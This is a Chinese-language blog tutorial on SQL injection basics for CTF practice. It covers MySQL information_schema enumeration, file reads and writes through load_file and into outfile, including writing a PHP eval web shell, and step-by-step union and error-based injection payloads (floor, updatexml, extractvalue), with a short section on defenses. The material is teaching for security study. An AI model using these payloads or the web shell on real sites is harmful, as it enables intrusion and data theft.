SQL注入基础知识(2)

SQL注入基础知识(2)

SQL注入基础知识(1)

information_schema

information_schema是MySQL自带的数据库。提供了对元数据的访问。其中包括:各个数据库的名称、表名、列名以及访问权限等。

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| challenges         |
| mysql              |
| performance_schema |
| security           |
| test               |
+--------------------+
6 rows in set (0.00 sec)

information_schema常用内容:

1. schemata表

提供了当前MySQL中所有的数据库信息。show databases的结果就是从此而来。

mysql> select schema_name from schemata;
+--------------------+
| schema_name        |
+--------------------+
| information_schema |
| challenges         |
| mysql              |
| performance_schema |
| security           |
| test               |
+--------------------+
6 rows in set (0.00 sec)

2. tables表

提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。

tables表的部分列信息:

名称描述
table_name记录数据库中的表名
table_schema记录表所属的数据库名

例如:

mysql> select table_name,table_schema from tables;
+----------------------------------------------+--------------------+
| table_name                                   | table_schema       |
+----------------------------------------------+--------------------+
| CHARACTER_SETS                               | information_schema |
| COLLATIONS                                   | information_schema |
| COLLATION_CHARACTER_SET_APPLICABILITY        | information_schema |
| COLUMNS                                      | information_schema |
| COLUMN_PRIVILEGES                            | information_schema |
| ENGINES                                      | information_schema |
| EVENTS                                       | information_schema |
| FILES                                        | information_schema |
| GLOBAL_STATUS                                | information_schema |
| GLOBAL_VARIABLES                             | information_schema |
| KEY_COLUMN_USAGE                             | information_schema |
| PARAMETERS                                   | information_schema |
| PARTITIONS                                   | information_schema |
| PLUGINS                                      | information_schema |
| PROCESSLIST                                  | information_schema |
| PROFILING                                    | information_schema |
| REFERENTIAL_CONSTRAINTS                      | information_schema |
| ROUTINES                                     | information_schema |
| SCHEMATA                                     | information_schema |
| SCHEMA_PRIVILEGES                            | information_schema |
| SESSION_STATUS                               | information_schema |
| SESSION_VARIABLES                            | information_schema |
| STATISTICS                                   | information_schema |
| TABLES                                       | information_schema |
| TABLESPACES                                  | information_schema |
| TABLE_CONSTRAINTS                            | information_schema |
| TABLE_PRIVILEGES                             | information_schema |
| TRIGGERS                                     | information_schema |
| USER_PRIVILEGES                              | information_schema |
| VIEWS                                        | information_schema |
| INNODB_BUFFER_PAGE                           | information_schema |
| INNODB_TRX                                   | information_schema |
| INNODB_BUFFER_POOL_STATS                     | information_schema |
| INNODB_LOCK_WAITS                            | information_schema |
| INNODB_CMPMEM                                | information_schema |
| INNODB_CMP                                   | information_schema |
| INNODB_LOCKS                                 | information_schema |
| INNODB_CMPMEM_RESET                          | information_schema |
| INNODB_CMP_RESET                             | information_schema |
| INNODB_BUFFER_PAGE_LRU                       | information_schema |
| d2eozn584m                                   | challenges         |
| columns_priv                                 | mysql              |
| db                                           | mysql              |
| event                                        | mysql              |
| func                                         | mysql              |
| general_log                                  | mysql              |
| help_category                                | mysql              |
| help_keyword                                 | mysql              |
| help_relation                                | mysql              |
| help_topic                                   | mysql              |
| host                                         | mysql              |
| ndb_binlog_index                             | mysql              |
| plugin                                       | mysql              |
| proc                                         | mysql              |
| procs_priv                                   | mysql              |
| proxies_priv                                 | mysql              |
| servers                                      | mysql              |
| slow_log                                     | mysql              |
| tables_priv                                  | mysql              |
| time_zone                                    | mysql              |
| time_zone_leap_second                        | mysql              |
| time_zone_name                               | mysql              |
| time_zone_transition                         | mysql              |
| time_zone_transition_type                    | mysql              |
| user                                         | mysql              |
| cond_instances                               | performance_schema |
| events_waits_current                         | performance_schema |
| events_waits_history                         | performance_schema |
| events_waits_history_long                    | performance_schema |
| events_waits_summary_by_instance             | performance_schema |
| events_waits_summary_by_thread_by_event_name | performance_schema |
| events_waits_summary_global_by_event_name    | performance_schema |
| file_instances                               | performance_schema |
| file_summary_by_event_name                   | performance_schema |
| file_summary_by_instance                     | performance_schema |
| mutex_instances                              | performance_schema |
| performance_timers                           | performance_schema |
| rwlock_instances                             | performance_schema |
| setup_consumers                              | performance_schema |
| setup_instruments                            | performance_schema |
| setup_timers                                 | performance_schema |
| threads                                      | performance_schema |
| emails                                       | security           |
| referers                                     | security           |
| uagents                                      | security           |
| users                                        | security           |
| student                                      | test               |
+----------------------------------------------+--------------------+
87 rows in set (0.00 sec)

3. columns表

提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。

columns表的部分列信息:

名称描述
column_name记录数据库中所有的列名
table_name记录列名所属的表名
table_schema记录列名所属的数据库名

例如:

mysql> select column_name from columns where table_name='users' and table_schema='security';
+-------------+
| column_name |
+-------------+
| id          |
| username    |
| password    |
+-------------+
3 rows in set (0.01 sec)

文件操作

首先需要对配置文件my.ini进行编辑,在其中添加 secure_file_priv="" ,重启MySQL。

secure_file_priv是用来限制load data、select、outfile、loadfile传到哪个指定的目录

  • ure_file_priv的值为null ,表示限制mysqld 不允许导入、导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入、导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入、导出做限制
  • 默认情况下,secure_file_priv的值为NULL,关闭了导入、导出的功能。

如何查看secure-file-priv参数的值:

show global variables like '%secure%';

load_file()

可以将文件中的内容作为字符串进行返回。

注意:在windows下,目录之间的分隔符要使用 \\ 或者 / 进行操作

例如:

mysql> select load_file('D:/hello.txt');
+---------------------------+
| load_file('D:/hello.txt') |
+---------------------------+
| hello,world!              |
+---------------------------+
1 row in set (0.00 sec)

mysql> select load_file('D:\\hello.txt');
+----------------------------+
| load_file('D:\\hello.txt') |
+----------------------------+
| hello,world!               |
+----------------------------+
1 row in set (0.00 sec)

into outfile

可以将查询到的结果作为内容写入到文件中

注意:在windows下,目录之间的分隔符要使用 \\ 或者 / 进行操作

mysql> select '<?php @eval($_POST["cmd"]);?>' into outfile 'D:/test.txt';
Query OK, 1 row affected (0.00 sec)

mysql> select load_file('D:/test.txt');
+--------------------------------+
| load_file('D:/test.txt')       |
+--------------------------------+
| <?php @eval($_POST["cmd"]);?>  |
+--------------------------------+
1 row in set (0.00 sec)

outfile中,最终的文件名要是没有建立的文件。

在写字符串时,要注意单引号和双引号的使用,避免字符串提前闭合导致的报错。

SQL注入写文件的根本条件

  1. 对web目录具有读写权限
  2. 知道web文件绝对路径
    • 使用@@datadir进行查询
    • 通过百度查找常见web路径
  3. 在SQL注入的时候能够使用联合查询

SQL注入步骤

  1. 判断是否有注入点

  2. 判断闭合字符

    • 数字型SQL注入
    参数页面显示
    id=1’页面异常
    id=1 and 1=1 --+页面正常
    id=1 and 1=2 --+页面异常
    • 单引号字符型SQL注入
    参数页面显示
    id=1‘页面异常
    id=1’ and 1=1 --+页面正常
    id=1’ and 1=2 --+页面异常
    • 双引号字符型SQL注入
    参数页面显示
    id=1"页面异常
    id=1" and 1=1 --+页面正常
    id=1" and 1=2 --+页面异常
    • 有时候还可能碰到 (‘1’)、(“1”)、((‘1’))、((“1”)) 等情况,要多进行尝试。
  3. 判断当前页面中SQL语句的查询列数

    通过使用order by来进行列数的判断

    例如:

    参数页面显示
    id=1 order by 4 --+页面正常
    id=1 order by 5 --+页面异常

    结论:当前语句查询了4列

  4. 判断数据在页面中的回显位置和SQL语句中回显位

    通过使用database()、user()、version()等函数,进行回显,定位可显示有用信息的位置。

  5. 判断当前页面连接的数据库名称

  6. 判断数据库中的表名称信息

  7. 判断数据库表中的列名称信息

  8. 获取数据库表中的各个字段内容

报错注入(双查询注入):

floor函数报错查询

构造方法:

and (select 1 from (select 1,count(*),concat(0x3a,(select database()),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+

修改concat中的 select database()即可进行报错注入

updatexml函数报错查询

updatexml(目标xml文档,xml路径,更新内容)

构造方法:

and updatexml(1,concat(’~’,(select @@version),’~’),1) --+

修改concat中的select @@version即可进行报错注入

extractvalue函数报错查询

extractvalue(目标xml文档,xml路径)

and extractvalue(1,concat(’~’,(select @@version),’~’))

修改concat中的select @@version即可进行报错注入

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
CTF(Capture The Flag)是一种网络安全竞赛,旨在考察参赛者在网络安全领域的技能和知识。CTF中的SQL注入是一种常见的攻击技术,用于利用应用程序对用户输入的不正确处理而导致的安全漏洞。下面是CTF中SQL注入基础知识: 1. 什么是SQL注入SQL注入是指攻击者通过在应用程序的输入中插入恶意的SQL代码,从而绕过应用程序的验证和过滤机制,进而执行非法的数据库操作。攻击者可以通过SQL注入获取敏感信息、修改数据甚至控制整个数据库。 2. SQL注入的原理: SQL注入利用了应用程序对用户输入的不正确处理。当应用程序没有对用户输入进行充分验证和过滤时,攻击者可以通过构造特定的输入来改变原始SQL查询的语义,从而执行恶意操作。 3. SQL注入的类型: - 基于错误的注入:攻击者通过构造恶意输入,触发应用程序产生错误信息,从而获取敏感信息。 - 基于布尔盲注:攻击者通过构造恶意输入,利用应用程序对布尔表达式的处理方式,逐位猜测数据内容。 - 基于时间盲注:攻击者通过构造恶意输入,利用应用程序对时间延迟的处理方式,逐位猜测数据内容。 - 基于联合查询注入:攻击者通过构造恶意输入,利用应用程序对联合查询的处理方式,执行额外的查询操作。 4. 防御SQL注入的方法: - 使用参数化查询或预编译语句,确保用户输入不会被解释为SQL代码。 - 对用户输入进行严格的验证和过滤,包括输入长度、类型、格式等。 - 最小化数据库用户的权限,避免使用具有高权限的数据库账户。 - 定期更新和修补应用程序和数据库的安全补丁。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lilin_27

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值